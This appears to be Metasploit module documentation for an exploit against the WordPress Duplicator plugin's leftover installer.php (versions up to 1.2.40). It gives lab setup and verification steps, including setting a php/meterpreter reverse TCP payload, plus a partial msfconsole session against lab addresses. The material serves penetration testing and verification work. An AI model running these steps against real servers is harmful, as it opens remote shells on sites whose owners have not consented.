Duplicator is a WordPress plugin that can be used to create a complete backup of a WordPress instance and restore it on a fresh server. The export method generates 2 files: * An ZIP archive with the complete WordPress files and Duplicator specific files: * A copy of the installer.php script: installer-backup.php * A SQL script that will be used to restore the database content: database.sql * An installer PHP script to restore the archive installer.php When the installer.php completes its process, the following files remain in the directory and has to be manually deleted: * The ZIP archive * database.sql * installer-backup.php * installer-data.sql * installer-log.txt * installer.php ## Vulnerable application Install a vulnerable version of WordPress Duplicator (<= 1.2.40) and create a backup. Put the install.php and archive files on a clean web server. ## Verification Steps Confirm that check functionality works: - [ ] Open a browser to check the installer.php file is accessible - [ ] Start `msfconsole` - [ ] `use exploit/multi/php/wordpress_duplicator-` - [ ] Set the `RHOST`. - [ ] Confirm the target is vulnerable: `check` - [ ] Confirm that the target is vulnerable: `The target is vulnerable.` Confirm that command execution functionality works: - [ ] Set a payload: `set PAYLOAD php/meterpreter/reverse_tcp` - [ ] Set `LHOST` and `LPORT` - [ ] Run the exploit: `run` - [ ] Confirm you have now a meterpreter session ## Options **TARGETURI** The path to the installer.php file to exploit By default, the path is `/installer.php`. ## Scenarios ### Meterpreter reverse tcp ``` msf5 > use exploit/multi/php/wordpress_duplicator msf5 exploit(multi/php/wordpress_duplicator) > set RHOSTS 192.168.56.101 RHOSTS => 192.168.56.101 msf5 exploit(multi/php/wordpress_duplicator) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 msf5 exploit(multi/php/wordpress_duplicator) > set TARGETURI /installer_vuln.php TARGETURI => /installer_vuln.php msf5 exploit(multi/php/wordpress_duplicator) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Checking if the wp-config.php file already exists...
